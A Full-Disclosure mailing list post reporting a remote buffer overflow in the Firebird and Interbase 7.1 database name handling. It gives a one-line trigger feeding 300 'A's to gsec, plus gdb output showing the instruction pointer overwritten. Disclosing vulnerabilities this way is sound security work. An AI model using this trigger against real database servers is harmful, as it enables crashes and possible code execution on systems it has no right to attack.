[Full-Disclosure] Firebird [ AND Interbase 7 ] Database Remote Database Name Overflow

["KF (lists)" <kf_lists@xxxxxxxxxxxxx>]

Someone that has had some success communicating things security wise to 
Borland may wish to contact them about this.

[root@CloneRiot bin]# rpm -ivh /root/InterBaseSS_LI-V7.1.0-1.i386.rpm

[kf@CloneRiot bin]$ pwd
/opt/interbase/bin
[kf@CloneRiot bin]$ ./gsec -database 127.0.0.1:`perl -e'print ("A"x300)'`

(gdb) c
Continuing.
[New Thread 1085279152 (LWP 21355)]
[New Thread 1095769008 (LWP 21356)]
[New Thread 1106258864 (LWP 21357)]

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 1085279152 (LWP 21355)]
0x41414141 in ?? ()
(gdb) bt
#0  0x41414141 in ?? ()
#1  0x41414141 in ?? ()
#2  0x41414141 in ?? ()
...
#35 0x41414141 in ?? ()
#36 0x41414141 in ?? ()
(gdb)

(gdb) i r
eax            0x0      0
ecx            0x82025e4        136324580
edx            0x0      0
ebx            0x81fe29c        136307356
esp            0x40aff5f8       0x40aff5f8
ebp            0x41414141       0x41414141
esi            0x12c    300
edi            0x40affab8       1085274808
eip            0x41414141       0x41414141
eflags         0x10246  66118

(gdb) x/1s $esp
0x40aff5f8:      'A' <repeats 144 times>

[root@CloneRiot interbase]# ./bin/ibserver
Segmentation fault
-KF


Noam Rathaus wrote:

> On Sunday 02 June 2002 01:52, KF (lists) wrote:
>  
>
> > So is this firebird specific or does it also impact Borland Interbase
> > users?
> > -KF
> >
> >    
> We haven't tested Borland's Interbase as we didn't have any installation 
> available for testing. However I can assume that since this vulnerability 
> appears in version 1.0.2, which is of very close resemblance to Borland's 
> Interbase sources, that the vulnerability may also affect it.
>
>  

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